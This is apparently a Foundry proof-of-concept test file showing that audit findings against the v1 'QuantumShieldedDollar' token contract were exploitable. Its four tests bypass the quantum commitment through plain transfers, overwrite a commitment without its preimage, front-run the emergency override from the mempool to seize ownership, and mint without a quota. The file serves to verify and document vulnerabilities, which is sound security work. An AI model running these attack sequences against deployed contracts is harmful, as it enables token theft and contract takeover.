// Published copy. Compile from a folder containing /contracts as served, with forge-std remapped. // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "forge-std/Test.sol"; import "../archive/QuantumShieldedDollar.v1-2026-09-17.sol"; /// Demonstrates that the 2026-11-09 findings were real in the published v1 source. /// Every test here PASSES because the attack SUCCEEDS on v1. contract QuantumShieldedDollarV1Exploits is Test { QuantumShieldedDollar t; address owner = address(0xA11CE); address mm = address(0xB0B); address alice = address(0xA1); address mallory = address(0xBAD); bytes32 rootPre = keccak256("root-secret"); function setUp() public { t = new QuantumShieldedDollar(); t.initialize("Q", "Q", 6, owner, mm, address(0xC0), address(0xD0), keccak256(abi.encodePacked(rootPre))); vm.prank(mm); t.configureMinter(mm, 1_000_000e6); vm.prank(mm); t.mint(alice, 1_000e6); vm.prank(alice); t.registerQuantumCommitment(keccak256(abi.encodePacked(keccak256("alice-secret")))); } function test_exploit_plainTransferBypassesQuantumCommitment() public { vm.prank(alice); // attacker with alice's broken ECDSA key t.transfer(mallory, 1_000e6); assertEq(t.balanceOf(mallory), 1_000e6); } function test_exploit_commitmentOverwrittenWithoutPreimage() public { bytes32 malloryPre = keccak256("mallory"); vm.prank(alice); t.registerQuantumCommitment(keccak256(abi.encodePacked(malloryPre))); vm.prank(alice); t.transferWithQuantumProof(mallory, 1_000e6, malloryPre, bytes32(0)); assertEq(t.balanceOf(mallory), 1_000e6); } function test_exploit_overrideFrontRunFromMempool() public { // pre-image becomes visible in the mempool; mallory submits first with her own address vm.prank(mallory); t.quantumEmergencyOverride(rootPre, mallory, bytes32(0)); assertEq(t.owner(), mallory); } function test_exploit_ownerMintsWithoutQuota() public { vm.prank(owner); t.mint(owner, type(uint128).max); assertEq(t.balanceOf(owner), type(uint128).max); } }